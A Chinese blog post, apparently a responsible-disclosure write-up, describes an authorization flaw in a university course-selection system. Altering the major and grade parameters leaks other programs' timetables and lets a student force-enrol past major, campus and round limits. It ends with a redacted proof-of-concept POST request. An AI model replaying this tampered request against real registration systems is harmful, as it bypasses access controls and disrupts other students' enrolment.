已提交校方修复,由于是高危0day故等修复后公开。

这个漏洞是在研究选课接口参数的时候无意间想到的,估计后台就没有检测,一试果然是这样hhh。先来看看怎么利用的:

课程信息接口

首先我们来看取得课程信息的接口,通过这个可以查看到某个学生可以选的课程:

/xsxk/zzxkyzb_cxJxbWithKchZzxkYzb.html?gnmkdm=N253512&su=<id>

这个POST请求中zyh_id猜测为专业号ID(坑爹的汉语拼音命名法,我也是在尝试失败后猛然意识到的,我艹),njdm_id猜测为年级届数,直接修改即可获取其他年级/专业课表,其他参数不感兴趣可暂时不考虑。
这样我们就可获取任意年级、专业、校区课表,感兴趣的话可以写个爬虫爬掉所有的课程(x。
但是别急,这只是开胃菜,信息泄漏没啥好玩的,结合后续漏洞才能实现更有趣的操作233。

选课接口

选课接口为

/xsxk/zzxkyzb_xkBcZyZzxkYzb.html?gnmkdm=N253512&su=<id>

所必须的4个参数为:

  • jxb_ids:教学班ID,可由上一步越权获取
  • xkkz_id:选课轮数ID,同一轮不改变
  • njdm_id:年级届数
  • zyh_id:专业号ID,可以通过爬虫或社工获取
    其他参数可忽略,后台似乎并未对数据二次校验从而导致可以忽视所有专业限制、选课轮数限制强制选课,这直接是为所欲为了所有什么校区啥的限制形同虚设。

漏洞发现

这是我在写抢课脚本分析协议的附属品……因为选课接口的有些参数不是必须的,所以经测试只给上面这4个就可以了,某一天灵感出现猜测外包写这玩意的估计也没二次检查就想试试。
通过PY一个另一专业的同学获取到了他选课时的参数,最开始我不知道zyh_id这是个啥(再次吐槽汉语拼音命名)就没改,结果提示不能跨专业选课?但是注意他是提示错误而不是直接拒绝!这样我再看了下payload只有这个不同了,瞬间反应过来是“专业号ID”的缩写233,接下来就成功选到了他们的课,然后为了通用性,再想到取课程信息也是同理,就有了整个攻击流程。

POC

(涉及敏感信息,个人数据已经处理

POST /xsxk/zzxkyzb_xkBcZyZzxkYzb.html?gnmkdm=N253512&su=<id> HTTP/1.1
Host: x.edu.cn
Content-Length: 112
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://x.edu.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Referer: http://x.edu.cn/xsxk/zzxkyzb_cxZzxkYzbIndex.html?gnmkdm=N253512&layout=default&su=<id>
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: <login cookie>
Connection: close

jxb_ids=<任意课程ID>&xkkz_id=<当前选课轮数参数>&njdm_id=<年级届数>&zyh_id=<专业号>